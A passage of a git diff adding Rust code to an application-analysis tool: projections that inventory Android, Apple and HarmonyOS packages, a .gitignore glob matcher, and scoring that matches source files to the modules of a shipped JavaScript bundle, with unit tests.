"split-apk", s.clone())); + } + let rts = runtimes(&h); + let mut limitations = vec!["AndroidManifest.xml is binary XML; components, permissions and the package name are not decoded by this projection."]; + if manifests.is_empty() { + limitations.push("No AndroidManifest.xml in the inventory: this may not be an Android package."); + } + json!({ + "platform": "android", + "recognised": !manifests.is_empty() || !dex.is_empty(), + "manifests": manifests, "code": dex, "native_libraries": natives, "signing": signing, "split_apks": splits, + "resources": {"arsc": e.iter().any(|x| name_of(&x.path) == "resources.arsc"), "res_files": e.iter().filter(|x| x.path.contains("res/")).count(), "asset_files": assets}, + "runtimes": rts, + "graph": graph(&nodes, &inv.root), + "next_steps": next_steps(&h), + "limitations": limitations, + }) +} + +fn apple_bundle_kind(root: &str, inv: &Inventory) -> &'static str { + let name = if root.is_empty() && inv.root_kind == "directory" { inv.root.as_str() } else { root }; + if name.ends_with(".appex") { + "extension" + } else if name.ends_with(".xpc") { + "xpc-service" + } else { + "bundle" + } +} + +/// Apple (.ipa, .app bundle, macOS .app folder). +pub fn project_apple(inv: &Inventory) -> Value { + let e = &inv.entries; + let h = Hints { entries: e }; + // Bundle roots have an Info.plist directly inside (iOS) or in Contents/ (macOS). + let mut apps: Vec = Vec::new(); + for x in e { + let p = x.path.as_str(); + if name_of(p) == "Info.plist" { + let dir = p.rsplit_once('/').map_or("", |(d, _)| d); + // A directory's name identifies its bundle; an archive's name identifies the container. + if dir == "Contents" && inv.root_kind == "directory" && ![".app", ".appex", ".xpc"].iter().any(|suffix| inv.root.ends_with(*suffix)) { + continue; + } + // A selected macOS bundle has no directory prefix before Contents. + let root = if dir == "Contents" { "" } else { dir.strip_suffix("/Contents").unwrap_or(dir) }; + if (root.ends_with(".app") || root.ends_with(".appex") || root.ends_with(".xpc") || root.is_empty()) + && !apps.contains(&root.to_string()) + && apps.len() < 64 + { + apps.push(root.to_string()); + } + } + } + let frameworks: Vec = { + let mut v: Vec = e + .iter() + .filter_map(|x| { + let i = x.path.find(".framework/")?; + Some(x.path.get(..i + ".framework".len())?.to_string()) + }) + .collect(); + v.sort(); + v.dedup(); + v.truncate(500); + v + }; + let extensions: Vec = apps.iter().filter(|a| apple_bundle_kind(a, inv) == "extension").cloned().collect(); + let services: Vec = apps.iter().filter(|a| apple_bundle_kind(a, inv) == "xpc-service").cloned().collect(); + let executables: Vec = e + .iter() + .filter(|x| { + matches!(x.kind.as_str(), "macho" | "macho-fat") + && !x.path.ends_with(".dylib") + && (!x.path.contains(".framework/") + || services.iter().any(|s| x.path.strip_prefix(s).is_some_and(|rest| rest.starts_with('/') && !rest.contains(".framework/")))) + }) + .map(|x| json!({"path": x.path, "kind": x.kind, "size": x.size})) + .take(64) + .collect(); + let dylibs: Vec = e.iter().filter(|x| x.path.ends_with(".dylib")).map(|x| x.path.clone()).take(500).collect(); + let signing: Vec = e + .iter() + .filter(|x| x.role.as_deref() == Some("code-signature") || x.role.as_deref() == Some("entitlements")) + .map(|x| x.path.clone()) + .take(64) + .collect(); + let interfaces = e.iter().filter(|x| x.role.as_deref() == Some("interface")).count(); + let catalogs: Vec = e.iter().filter(|x| x.role.as_deref() == Some("asset-catalog")).map(|x| x.path.clone()).collect(); + let mut nodes: Vec<(String, &str, String)> = Vec::new(); + for a in &apps { + let kind = apple_bundle_kind(a, inv); + nodes.push((format!("bundle:{a}"), kind, a.clone())); + } + for f in &frameworks { + nodes.push((format!("framework:{f}"), "framework", name_of(f).to_string())); + } + for x in &executables { + if let Some(p) = x.get("path").and_then(Value::as_str) { + nodes.push((format!("exe:{p}"), "executable", p.to_string())); + } + } + // Only a bundle (an Info.plist root) is an app; a lone Mach-O is a program, not an app. + let shape = match (apps.is_empty(), executables.is_empty()) { + (false, _) => "app-bundle", + (true, false) => "bare-executable", + (true, true) => "none", + }; + json!({ + "platform": "apple", + "recognised": !apps.is_empty(), + "shape": shape, + "bundles": apps, "extensions": extensions, "services": services, "executables": executables, "frameworks": frameworks, "dylibs": dylibs, + "signing": signing, "interface_files": interfaces, "asset_catalogs": catalogs, + "runtimes": runtimes(&h), + "graph": graph(&nodes, &inv.root), + "next_steps": next_steps(&h), + "limitations": ["Info.plist values, entitlements and code signatures are listed, not decoded, by this projection; use apple_plist_show and apple_signature_show for those."], + }) +} + +/// HarmonyOS (.hap/.hsp modules or an .app pack). +pub fn project_harmony(inv: &Inventory) -> Value { + let e = &inv.entries; + let h = Hints { entries: e }; + let modules: Vec = e.iter().filter(|x| matches!(name_of(&x.path), "module.json" | "module.json5")).map(|x| x.path.clone()).collect(); + let haps: Vec = e.iter().filter(|x| x.kind == "hap" || x.path.ends_with(".hap") || x.path.ends_with(".hsp")).map(|x| x.path.clone()).collect(); + let abc: Vec = e.iter().filter(|x| x.path.ends_with(".abc")).map(|x| x.path.clone()).take(200).collect(); + let natives = native_by_abi(e, "libs/"); + let pack_info: Vec = e.iter().filter(|x| name_of(&x.path) == "pack.info").map(|x| x.path.clone()).collect(); + let mut nodes: Vec<(String, &str, String)> = Vec::new(); + for m in &modules { + nodes.push((format!("module:{m}"), "module-manifest", m.clone())); + } + for hp in &haps { + nodes.push((format!("hap:{hp}"), "hap", hp.clone())); + } + for a in &abc { + nodes.push((format!("abc:{a}"), "code", a.clone())); + } + for (abi, libs) in &natives { + nodes.push((format!("abi:{abi}"), "native-abi", format!("{abi} ({} libraries)", libs.len()))); + } + // module.json is JSON text: report what we can read from the inventory without its bytes. + json!({ + "platform": "harmony", + "recognised": !modules.is_empty() || !abc.is_empty() || !haps.is_empty(), + "module_manifests": modules, "packages": haps, "pack_info": pack_info, "ark_bytecode": abc, "native_libraries": natives, + "resources": e.iter().filter(|x| x.path.contains("resources/")).count(), + "runtimes": runtimes(&h), + "graph": graph(&nodes, &inv.root), + "next_steps": next_steps(&h), + "limitations": ["Ark bytecode (.abc) is listed, not disassembled.", "module.json contents (abilities, permissions) are not read by this projection; open the file to see them."], + }) +} + +fn next_steps(h: &Hints<'_>) -> Vec { + let mut v = Vec::new(); + if !h.any(|p| p.ends_with("app.asar")).is_empty() { + v.push("Run js_app_map on the app.asar (core_archive_extract first if it is nested).".to_string()); + } + if !h.any(|p| p.ends_with("index.android.bundle") || p.ends_with("main.jsbundle")).is_empty() { + v.push( + "The JavaScript bundle can be analysed with js_app_map after core_archive_extract (Hermes bytecode bundles are not JavaScript text).".to_string(), + ); + } + if !h.any(|p| p.contains("/www/index.html") || p.contains("/public/index.html")).is_empty() { + v.push("The embedded web app (www/ or public/) can be analysed as a web bundle folder after core_archive_extract.".to_string()); + } + v +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::js_inventory::{InvLimits, Inventorier}; + + fn inv(files: &[(&str, &[u8])]) -> Inventory { + let mut i = Inventorier::new("x", "zip", InvLimits::default(), &|| false); + for (p, b) in files { + i.add_file(p, b, 0).unwrap(); + } + i.finish() + } + + #[test] + fn android_projection() { + let i = inv(&[ + ("AndroidManifest.xml", &[3, 0, 8, 0]), + ("classes.dex", b"dex\n035\0"), + ("classes2.dex", b"dex\n035\0"), + ("lib/arm64-v8a/libflutter.so", b"\x7fELF"), + ("lib/arm64-v8a/libapp.so", b"\x7fELF"), + ("assets/flutter_assets/AssetManifest.json", b"{}"), + ("META-INF/CERT.RSA", b"x"), + ]); + let p = project_android(&i); + assert_eq!(p["recognised"], true); + assert_eq!(p["code"].as_array().unwrap().len(), 2); + assert_eq!(p["native_libraries"]["arm64-v8a"].as_array().unwrap().len(), 2); + assert!(p["runtimes"].as_array().unwrap().iter().any(|r| r["runtime"] == "flutter")); + assert_eq!(p["signing"], json!(["META-INF/CERT.RSA"])); + } + + #[test] + fn relative_macos_bundle_and_nested_xpc_are_recognised() { + let p = project_apple(&inv(&[ + ("Contents/Info.plist", b"bplist00"), + ("Contents/MacOS/Example", &[0xcf, 0xfa, 0xed, 0xfe]), + ("Contents/XPCServices/Helper.xpc/Contents/Info.plist", b"bplist00"), + ("Contents/XPCServices/Helper.xpc/Contents/MacOS/Helper", &[0xcf, 0xfa, 0xed, 0xfe]), + ])); + assert_eq!(p["recognised"], true); + assert_eq!(p["shape"], "app-bundle"); + assert_eq!(p["bundles"], json!(["", "Contents/XPCServices/Helper.xpc"])); + assert_eq!(p["services"], json!(["Contents/XPCServices/Helper.xpc"])); + assert_eq!(p["executables"].as_array().unwrap().len(), 2); + assert!(p["extensions"].as_array().unwrap().is_empty()); + let service = "Contents/XPCServices/Helper.xpc"; + assert!(p["graph"]["nodes"].as_array().unwrap().iter().any(|n| n["id"] == format!("bundle:{service}") && n["kind"] == "xpc-service")); + assert!(p["graph"]["nodes"].as_array().unwrap().iter().any(|n| n["id"] == "bundle:" && n["kind"] == "bundle")); + assert!(p["graph"]["edges"].as_array().unwrap().iter().any(|edge| edge["to"] == format!("bundle:{service}") && edge["kind"] == "contains")); + } + + #[test] + fn apple_bundle_layout_controls() { + for (plist, root) in [ + ("Example.app/Contents/Info.plist", "Example.app"), + ("Info.plist", ""), + ("Contents/XPCServices/Helper.xpc/Info.plist", "Contents/XPCServices/Helper.xpc"), + ] { + let p = project_apple(&inv(&[(plist, b"bplist00")])); + assert_eq!(p["recognised"], true, "{plist}"); + assert_eq!(p["bundles"], json!([root])); + } + let p = project_apple(&inv(&[("Resources/Info.plist", b"bplist00")])); + assert_eq!(p["recognised"], false); + assert_eq!(p["shape"], "none"); + let bare = project_apple(&inv(&[("Contents/MacOS/Example", &[0xcf, 0xfa, 0xed, 0xfe])])); + assert_eq!(bare["recognised"], false); + assert_eq!(bare["shape"], "bare-executable"); + } + + #[test] + fn selected_apple_service_and_extension_keep_their_type() { + for (name, field, kind) in [("Helper.xpc", "services", "xpc-service"), ("Share.appex", "extensions", "extension")] { + let mut inventory = inv(&[("Contents/Info.plist", b"bplist00"), ("Contents/MacOS/Helper", &[0xcf, 0xfa, 0xed, 0xfe])]); + inventory.root = name.into(); + inventory.root_kind = "directory".into(); + let p = project_apple(&inventory); + assert_eq!(p[field], json!([""]), "{name}"); + assert_eq!(p["bundles"], json!([""])); + assert!(p["graph"]["nodes"].as_array().unwrap().iter().any(|n| n["id"] == "bundle:" && n["kind"] == kind)); + } + } + + #[test] + fn framework_hosted_xpc_keeps_only_service_executables() { + let service = "Contents/Frameworks/Example.framework/Versions/A/XPCServices/Helper.xpc"; + let executable = format!("{service}/Contents/MacOS/Helper"); + let p = project_apple(&inv(&[ + (&format!("{service}/Contents/Info.plist"), b"bplist00"), + (&executable, &[0xcf, 0xfa, 0xed, 0xfe]), + ("Contents/Frameworks/Example.framework/Versions/A/Example", &[0xcf, 0xfa, 0xed, 0xfe]), + (&format!("{service}/Contents/Frameworks/Private.framework/Private"), &[0xcf, 0xfa, 0xed, 0xfe]), + (&format!("{service}/Contents/MacOS/Private.dylib"), &[0xcf, 0xfa, 0xed, 0xfe]), + (&format!("{service}-other/Contents/MacOS/Other"), &[0xcf, 0xfa, 0xed, 0xfe]), + ])); + assert_eq!(p["services"], json!([service])); + let paths: Vec<_> = p["executables"].as_array().unwrap().iter().map(|v| v["path"].as_str().unwrap()).collect(); + assert_eq!(paths, vec![executable.as_str()]); + } + + #[test] + fn root_relative_apple_layout_distinguishes_directories_from_archives() { + for (name, kind, recognised) in [("Data", "directory", false), ("Example.app", "directory", true), ("bundle.zip", "zip", true)] { + let mut inventory = inv(&[("Contents/Info.plist", b"bplist00"), ("Contents/MacOS/Example", &[0xcf, 0xfa, 0xed, 0xfe])]); + inventory.root = name.into(); + inventory.root_kind = kind.into(); + let p = project_apple(&inventory); + assert_eq!(p["recognised"], recognised, "{name}"); + assert_eq!(p["shape"], if recognised { "app-bundle" } else { "bare-executable" }); + } + } + + #[test] + fn apple_and_harmony_projections() { + let a = inv(&[ + ("Payload/Notes.app/Info.plist", b"bplist00"), + ("Payload/Notes.app/Notes", &[0xcf, 0xfa, 0xed, 0xfe]), + ("Payload/Notes.app/Frameworks/Flutter.framework/Flutter", &[0xcf, 0xfa, 0xed, 0xfe]), + ("Payload/Notes.app/PlugIns/Share.appex/Info.plist", b"bplist00"), + ("Payload/Notes.app/_CodeSignature/CodeResources", b""), + ]); + let p = project_apple(&a); + assert_eq!(p["bundles"], json!(["Payload/Notes.app", "Payload/Notes.app/PlugIns/Share.appex"])); + assert_eq!(p["extensions"], json!(["Payload/Notes.app/PlugIns/Share.appex"])); + assert_eq!(p["frameworks"], json!(["Payload/Notes.app/Frameworks/Flutter.framework"])); + assert_eq!((p["recognised"].clone(), p["shape"].clone()), (json!(true), json!("app-bundle"))); + // A lone Mach-O is a program, not an app. + let bare = project_apple(&inv(&[("Notes", &[0xcf, 0xfa, 0xed, 0xfe])])); + assert_eq!((bare["recognised"].clone(), bare["shape"].clone()), (json!(false), json!("bare-executable"))); + assert_eq!(project_apple(&inv(&[("x.txt", b"x")]))["shape"], "none"); + let h = inv(&[("module.json", b"{}"), ("ets/modules.abc", b"PANDA"), ("libs/arm64-v8a/libentry.so", b"\x7fELF")]); + let q = project_harmony(&h); + assert_eq!(q["recognised"], true); + assert!(q["runtimes"].as_array().unwrap().iter().any(|r| r["runtime"] == "arkts")); + assert_eq!(project_harmony(&inv(&[("x.txt", b"x")]))["recognised"], false); + } +} diff --git a/desktop/crates/analysis/src/js_source.rs b/desktop/crates/analysis/src/js_source.rs new file mode 100644 index 0000000..a17eb76 --- /dev/null +++ b/desktop/crates/analysis/src/js_source.rs @@ -0,0 +1,498 @@ +//! Reference sources: a `.gitignore`-aware matcher, a summary graph of a source tree, and the +//! matching of source files to the modules of a shipped bundle. + +use crate::js_app::{AppGraph, Cancelled, is_script}; +use craft_anything_evidence::sha256_hex; +use craft_anything_js as js; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::collections::{BTreeMap, BTreeSet, HashMap}; + +// --------------------------------------------------------------------------------------------- +// .gitignore + +#[derive(Debug, Clone, PartialEq, Eq)] +enum Tok { + Lit(char), + Any, + Star, + /// `**` (any characters, slashes included). + Globstar, + /// `**/` (nothing, or anything ending in a slash). + GlobstarSlash, + Class(Vec<(char, char)>, bool), +} + +fn tokenize_glob(p: &str) -> Vec { + let chars: Vec = p.chars().collect(); + let mut out = Vec::new(); + let mut i = 0; + while let Some(&c) = chars.get(i) { + match c { + '*' if chars.get(i + 1) == Some(&'*') => { + if chars.get(i + 2) == Some(&'/') { + out.push(Tok::GlobstarSlash); + i += 3; + } else { + out.push(Tok::Globstar); + i += 2; + } + } + '*' => { + out.push(Tok::Star); + i += 1; + } + '?' => { + out.push(Tok::Any); + i += 1; + } + '[' => { + let mut j = i + 1; + let neg = matches!(chars.get(j), Some('!' | '^')); + if neg { + j += 1; + } + let mut ranges = Vec::new(); + let start = j; + while let Some(&d) = chars.get(j) { + if d == ']' && j > start { + break; + } + if chars.get(j + 1) == Some(&'-') && chars.get(j + 2).is_some_and(|e| *e != ']') { + ranges.push((d, chars.get(j + 2).copied().unwrap_or(d))); + j += 3; + } else { + ranges.push((d, d)); + j += 1; + } + } + if chars.get(j) == Some(&']') { + out.push(Tok::Class(ranges, neg)); + i = j + 1; + } else { + out.push(Tok::Lit('[')); + i += 1; + } + } + '\\' => { + if let Some(&n) = chars.get(i + 1) { + out.push(Tok::Lit(n)); + } + i += 2; + } + _ => { + out.push(Tok::Lit(c)); + i += 1; + } + } + } + out +} + +/// Glob match by dynamic programming (no backtracking blow-up). +fn glob_match(tokens: &[Tok], s: &str) -> bool { + let s: Vec = s.chars().take(4096).collect(); + let (n, m) = (tokens.len(), s.len()); + // dp[j] for the current token row: tokens[i..] matches s[j..]. + let mut next = vec![false; m + 1]; + next[m] = true; // empty pattern matches empty string + for i in (0..n).rev() { + let mut cur = vec![false; m + 1]; + for j in (0..=m).rev() { + let c = s.get(j).copied(); + cur[j] = match tokens.get(i) { + Some(Tok::Lit(l)) => c == Some(*l) && next.get(j + 1).copied().unwrap_or(false), + Some(Tok::Any) => c.is_some_and(|c| c != '/') && next.get(j + 1).copied().unwrap_or(false), + Some(Tok::Class(r, neg)) => { + c.is_some_and(|c| c != '/' && (r.iter().any(|(a, b)| *a <= c && c <= *b) != *neg)) && next.get(j + 1).copied().unwrap_or(false) + } + Some(Tok::Star) => next[j] || (c.is_some_and(|c| c != '/') && cur.get(j + 1).copied().unwrap_or(false)), + Some(Tok::Globstar) => next[j] || (c.is_some() && cur.get(j + 1).copied().unwrap_or(false)), + Some(Tok::GlobstarSlash) => { + // Empty, or any run ending in '/'. + next[j] || (j..m).any(|k| s.get(k) == Some(&'/') && next.get(k + 1).copied().unwrap_or(false)) + } + None => false, + }; + } + next = cur; + } + next[0] +} + +#[derive(Debug, Clone)] +struct Rule { + base: String, + tokens: Vec, + negate: bool, + dir_only: bool, + anchored: bool, +} + +/// `.gitignore` rules collected while walking a tree. Later rules win, `!` re-includes. +#[derive(Debug, Clone, Default)] +pub struct Ignore { + rules: Vec, +} + +impl Ignore { + /// Add the rules of a `.gitignore` found in `base_dir` (relative, "" for the root). + pub fn add_file(&mut self, base_dir: &str, text: &str) { + for line in text.lines().take(10_000) { + let line = line.trim_end(); + if line.is_empty() || line.starts_with('#') { + continue; + } + let (negate, pat) = match line.strip_prefix('!') { + Some(p) => (true, p), + None => (false, line.strip_prefix("\\").unwrap_or(line)), + }; + let dir_only = pat.ends_with('/'); + let pat = pat.trim_end_matches('/'); + if pat.is_empty() || pat.len() > 512 { + continue; + } + let anchored = pat.contains('/'); + let pat = pat.trim_start_matches('/'); + self.rules.push(Rule { base: base_dir.trim_matches('/').to_string(), tokens: tokenize_glob(pat), negate, dir_only, anchored }); + } + } + + /// Whether `path` (relative to the walk root) is ignored. + pub fn is_ignored(&self, path: &str, is_dir: bool) -> bool { + let mut ignored = false; + for r in &self.rules { + if r.dir_only && !is_dir { + continue; + } + let rel = if r.base.is_empty() { + path + } else { + match path.strip_prefix(&r.base).and_then(|p| p.strip_prefix('/')) { + Some(p) => p, + None => continue, + } + }; + let target = if r.anchored { rel } else { rel.rsplit('/').next().unwrap_or(rel) }; + if glob_match(&r.tokens, target) { + ignored = !r.negate; + } + } + ignored + } +} + +// --------------------------------------------------------------------------------------------- +// Source graph + +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(default)] +pub struct SourceFile { + pub path: String, + pub bytes: u64, + pub sha256: String, + pub language: String, + pub exports: Vec, + pub imports: Vec, + pub functions: Vec, + pub strings: Vec, + pub fingerprint: Option, + pub parse_mode: Option, +} + +#[derive(Debug, Clone, Default, PartialEq, Eq, Serialize, Deserialize)] +#[serde(default)] +pub struct SourceGraph { + /// `sg_` + sha256 of the (path, sha256) list. + pub source_graph_id: String, + pub label: String, + pub files: Vec, + pub ignored: usize, + pub truncated: bool, + pub languages: BTreeMap, +} + +fn language(path: &str) -> &'static str { + let l = path.to_ascii_lowercase(); + match l.rsplit('.').next().unwrap_or("") { + "ts" | "mts" | "cts" => "typescript", + "tsx" => "typescript-jsx", + "js" | "mjs" | "cjs" => "javascript", + "jsx" => "javascript-jsx", + "json" => "json", + "html" | "htm" => "html", + "css" | "scss" | "less" => "stylesheet", + "vue" => "vue", + "svelte" => "svelte", + "rs" => "rust", + "go" => "go", + "py" => "python", + "java" | "kt" => "jvm", + "swift" | "m" | "mm" => "apple", + "c" | "h" | "cc" | "cpp" | "hpp" => "c-family", + "md" => "markdown", + _ => "other", + } +} + +/// Summarise a source tree. `files` are (relative path, bytes); ignored count comes from the walker. +pub fn build_source_graph( + label: &str, + files: &[(String, Vec)], + ignored: usize, + truncated: bool, + limits: &js::Limits, + cancelled: &dyn Fn() -> bool, +) -> Result { + let mut g = SourceGraph { label: label.to_string(), ignored, truncated, ..Default::default() }; + for (i, (path, bytes)) in files.iter().enumerate() { + if i % 16 == 0 && cancelled() { + return Err(Cancelled); + } + let lang = language(path); + *g.languages.entry(lang.to_string()).or_default() += 1; + let mut f = SourceFile { path: path.clone(), bytes: bytes.len() as u64, sha256: sha256_hex(bytes), language: lang.into(), ..Default::default() }; + if is_script(path) { + let text = String::from_utf8_lossy(bytes); + let a = js::analyze(path, &text, limits); + f.exports = a.facts.exports.esm.iter().chain(a.facts.exports.cjs.iter()).cloned().collect(); + f.imports = a.facts.imports.iter().map(|i| i.specifier.clone()).take(500).collect(); + f.functions = + a.facts.functions.iter().filter(|x| !x.name.starts_with('<') && !x.name.contains(" callback@")).map(|x| x.name.clone()).take(500).collect(); + f.strings = a.facts.strings.iter().take(500).cloned().collect(); + f.fingerprint = a.facts.fingerprint; + f.parse_mode = Some(a.facts.mode); + } + g.files.push(f); + } + let ids: Vec<(&String, &String)> = g.files.iter().map(|f| (&f.path, &f.sha256)).collect(); + g.source_graph_id = format!("sg_{}", sha256_hex(craft_anything_evidence::canonical_json(&json!(ids)).as_bytes())); + Ok(g) +} + +// --------------------------------------------------------------------------------------------- +// Source ↔ bundle + +/// Normalise a module id or source-map source to a comparable path without extension. +pub fn norm_path(p: &str) -> String { + let mut s = p.trim(); + for pre in ["webpack:///", "webpack://", "file://", "vite:", "rollup:", "esbuild:"] { + if let Some(r) = s.strip_prefix(pre) { + s = r; + } + } + // `webpack://appname/./src/x.js` → keep the part after the first "./" + if let Some(i) = s.find("/./") { + s = s.get(i + 3..).unwrap_or(s); + } + let parts: Vec<&str> = s.split(['/', '\\']).filter(|p| !p.is_empty() && *p != "." && *p != "..").collect(); + let joined = parts.join("/"); + let stem = match joined.rsplit_once('.') { + Some((a, ext)) if ext.len() <= 5 && !a.is_empty() && !ext.contains('/') => a.to_string(), + _ => joined, + }; + stem.to_ascii_lowercase() +} + +fn tail_match(a: &str, b: &str) -> bool { + !a.is_empty() && !b.is_empty() && (a == b || a.ends_with(&format!("/{b}")) || b.ends_with(&format!("/{a}"))) +} + +fn overlap(a: &BTreeSet<&str>, b: &BTreeSet<&str>) -> (usize, f64) { + let shared = a.intersection(b).count(); + let min = a.len().min(b.len()); + (shared, if min == 0 { 0.0 } else { shared as f64 / min as f64 }) +} + +struct Unit<'a> { + id: String, + file: &'a str, + kind: &'static str, + norm: String, + strings: BTreeSet<&'a str>, + functions: BTreeSet<&'a str>, + exports: BTreeSet<&'a str>, +} + +/// Match reference source files to the shipped bundle's files and bundle modules. +pub fn diff_source_and_bundle(src: &SourceGraph, app: &AppGraph, max_rows: usize) -> Value { + let mut units: Vec> = Vec::new(); + for m in app.modules.iter().filter(|m| m.kind == "script") { + units.push(Unit { + id: m.path.clone(), + file: &m.path, + kind: "file", + norm: norm_path(&m.path), + strings: m.strings.iter().map(String::as_str).filter(|s| s.len() >= 4).collect(), + functions: m.functions.iter().map(String::as_str).collect(), + exports: m.exports.esm.iter().chain(m.exports.cjs.iter()).map(String::as_str).collect(), + }); + for b in &m.bundle_modules { + units.push(Unit { + id: b.id.clone(), + file: &m.path, + kind: "bundle-module", + norm: norm_path(&b.id), + strings: b.strings.iter().map(String::as_str).filter(|s| s.len() >= 4).collect(), + functions: b.functions.iter().map(String::as_str).collect(), + exports: BTreeSet::new(), + }); + } + } + // Source-map sources → generated script. + let mut mapped: Vec<(String, &str)> = Vec::new(); + for sm in &app.source_maps { + for s in &sm.sources { + mapped.push((norm_path(s), sm.script.as_str())); + } + } + // Inverted index: string/function → units. + let mut index: HashMap<&str, Vec> = HashMap::new(); + for (i, u) in units.iter().enumerate() { + for s in u.strings.iter().chain(u.functions.iter()) { + let v = index.entry(*s).or_default(); + if v.len() < 64 { + v.push(i); + } + } + } + let mut matches = Vec::new(); + let mut unmatched = Vec::new(); + let mut claimed: BTreeSet = BTreeSet::new(); + let mut by_quality: BTreeMap<&str, usize> = BTreeMap::new(); + for f in src.files.iter().filter(|f| is_script(&f.path)).take(max_rows) { + let norm = norm_path(&f.path); + let fs: BTreeSet<&str> = f.strings.iter().map(String::as_str).filter(|s| s.len() >= 4).collect(); + let ff: BTreeSet<&str> = f.functions.iter().map(String::as_str).collect(); + let fe: BTreeSet<&str> = f.exports.iter().map(String::as_str).collect(); + let mut cands: BTreeSet = units.iter().enumerate().filter(|(_, u)| tail_match(&u.norm, &norm)).map(|(i, _)| i).collect(); + for s in fs.iter().chain(ff.iter()) { + for i in index.get(s).into_iter().flatten() { + if cands.len() < 512 { + cands.insert(*i); + } + } + } + let mut best: Option<(f64, usize, Vec)> = None; + for i in cands { + let Some(u) = units.get(i) else { continue }; + let mut reasons = Vec::new(); + let mut score: f64 = 0.0; + if tail_match(&u.norm, &norm) { + score = 1.0; + reasons.push("same path".to_string()); + } + let (ss, so) = overlap(&fs, &u.strings); + let (fsh, fo) = overlap(&ff, &u.functions); + let (es, eo) = overlap(&fe, &u.exports); + let combined = (0.5 * if ss >= 2 { so } else { 0.0 } + 0.4 * if fsh >= 1 { fo } else { 0.0 } + 0.3 * if es >= 1 { eo } else { 0.0 }).min(0.95); + if ss >= 2 { + reasons.push(format!("{ss} shared strings")); + } + if fsh >= 1 { + reasons.push(format!("{fsh} shared function names")); + } + if es >= 1 { + reasons.push(format!("{es} shared export names")); + } + score = score.max(combined); + if best.as_ref().is_none_or(|(b, _, _)| score > *b) { + best = Some((score, i, reasons)); + } + } + let via_map = mapped.iter().find(|(s, _)| tail_match(s, &norm)).map(|(_, script)| *script); + match best.filter(|(s, _, _)| *s >= 0.3) { + Some((score, i, reasons)) => { + claimed.insert(i); + let quality = if score >= 0.99 { + "strong" + } else if score >= 0.6 { + "probable" + } else { + "weak" + }; + *by_quality.entry(quality).or_default() += 1; + let u = units.get(i); + matches.push(json!({ + "source": f.path, "unit": u.map(|u| &u.id), "file": u.map(|u| u.file), "unit_kind": u.map(|u| u.kind), + "score": (score * 100.0).round() / 100.0, "quality": quality, "reasons": reasons, "listed_in_source_map_of": via_map, + })); + } + None => match via_map { + Some(script) => { + *by_quality.entry("source-map-only").or_default() += 1; + matches.push(json!({"source": f.path, "unit": script, "file": script, "unit_kind": "file", "score": 0.9, "quality": "source-map", "reasons": ["listed in the bundle's source map"]})); + } + None => unmatched.push(f.path.clone()), + }, + } + } + let unclaimed: Vec = units + .iter() + .enumerate() + .filter(|(i, u)| !claimed.contains(i) && !u.id.contains("node_modules")) + .map(|(_, u)| json!({"unit": u.id, "file": u.file, "kind": u.kind})) + .take(max_rows) + .collect(); + json!({ + "source_graph_id": src.source_graph_id, + "graph_id": app.graph_id, + "summary": {"source_scripts": src.files.iter().filter(|f| is_script(&f.path)).count(), "bundle_units": units.len(), "matched": matches.len(), "unmatched_sources": unmatched.len(), "bundle_units_without_source": unclaimed.len(), "by_quality": by_quality}, + "matches": matches, + "unmatched_sources": unmatched, + "bundle_units_without_source": unclaimed, + }) +} + +#[cfg(test)] +mod tests { + use super::*; + use craft_anything_testkit::electron as fx; + + #[test] + fn gitignore_rules() { + let mut ig = Ignore::default(); + ig.add_file("", "node_modules/\n*.log\n/dist\n!keep.log\nsrc/**/gen/*.js\n# comment\n"); + ig.add_file("pkg", "secret.txt\n"); + assert!(ig.is_ignored("node_modules", true)); + assert!(!ig.is_ignored("node_modules", false), "dir-only rule"); + assert!(ig.is_ignored("a/b/debug.log", false)); + assert!(!ig.is_ignored("keep.log", false)); + assert!(ig.is_ignored("dist", true)); + assert!(!ig.is_ignored("x/dist", true), "anchored to the root"); + assert!(ig.is_ignored("src/a/b/gen/x.js", false)); + assert!(ig.is_ignored("src/gen/x.js", false)); + assert!(ig.is_ignored("pkg/secret.txt", false)); + assert!(!ig.is_ignored("secret.txt", false)); + assert!(glob_match(&tokenize_glob("[a-c]?.js"), "bz.js")); + assert!(!glob_match(&tokenize_glob("[!a-c]?.js"), "bz.js")); + // Pathological patterns stay fast. + let _ = glob_match(&tokenize_glob(&"*a".repeat(100)), &"a".repeat(2000)); + } + + #[test] + fn sources_match_bundle_modules() { + let a = craft_anything_js::analyze("main.js", fx::WEBPACK_BUNDLE, &js::Limits::default()); + assert!(!a.bundle.modules.is_empty()); + let app = crate::js_app::tests_support::graph_of(vec![("dist/main.js", fx::WEBPACK_BUNDLE.to_string())]); + let files = vec![ + ("src/api.js".to_string(), b"const base = 'https://api.example.test'; module.exports = { list: () => fetch(base + '/items') };".to_vec()), + ("src/util.js".to_string(), b"exports.sum = (a, b) => a + b;".to_vec()), + ("src/orphan.js".to_string(), b"export const nothing = 1;".to_vec()), + ("README.md".to_string(), b"# hi".to_vec()), + ]; + let sg = build_source_graph("src", &files, 0, false, &js::Limits::default(), &|| false).unwrap(); + assert!(sg.source_graph_id.starts_with("sg_")); + let d = diff_source_and_bundle(&sg, &app, 1000); + let m = d["matches"].as_array().unwrap(); + assert!(m.iter().any(|x| x["source"] == "src/api.js" && x["unit"] == "./src/api.js" && x["quality"] == "strong"), "{d}"); + assert_eq!(d["unmatched_sources"], json!(["src/orphan.js"])); + } + + #[test] + fn norm() { + assert_eq!(norm_path("webpack://notes/./src/App.tsx"), "src/app"); + assert_eq!(norm_path("../src/x.js"), "src/x"); + assert_eq!(norm_path("./src/index.js"), "src/index"); + } +} diff --git a/desktop/crates/analysis/src/js_trace.rs b/desktop/crates/analysis/src/js_trace.rs new file mode 100644 index 0000000..aab9181 --- /dev/null +++ b/desktop/crates/analysis/src/js_trace.rs @@ -0,0 +1,491 @@ +//! Walking the application graph: feature traces across renderer ↔ preload ↔ main, function-level +//! semantic slices, and reconciling static modules with scripts seen at run time. + +use crate::js_app::{AppGraph, Edge, Node}; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::collections::{BTreeMap, BTreeSet, HashMap, VecDeque}; + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)] +#[serde(rename_all = "kebab-case")] +pub enum SeedKind { + /// An exact graph node id. + Node, + Module, + Function, + /// A string literal used in code (or any label containing it). + String, + IpcChannel, + Endpoint, + Route, + /// An exposed bridge API or member (`window.api.exportNotes`). + Api, + /// Search every node label. + #[default] + 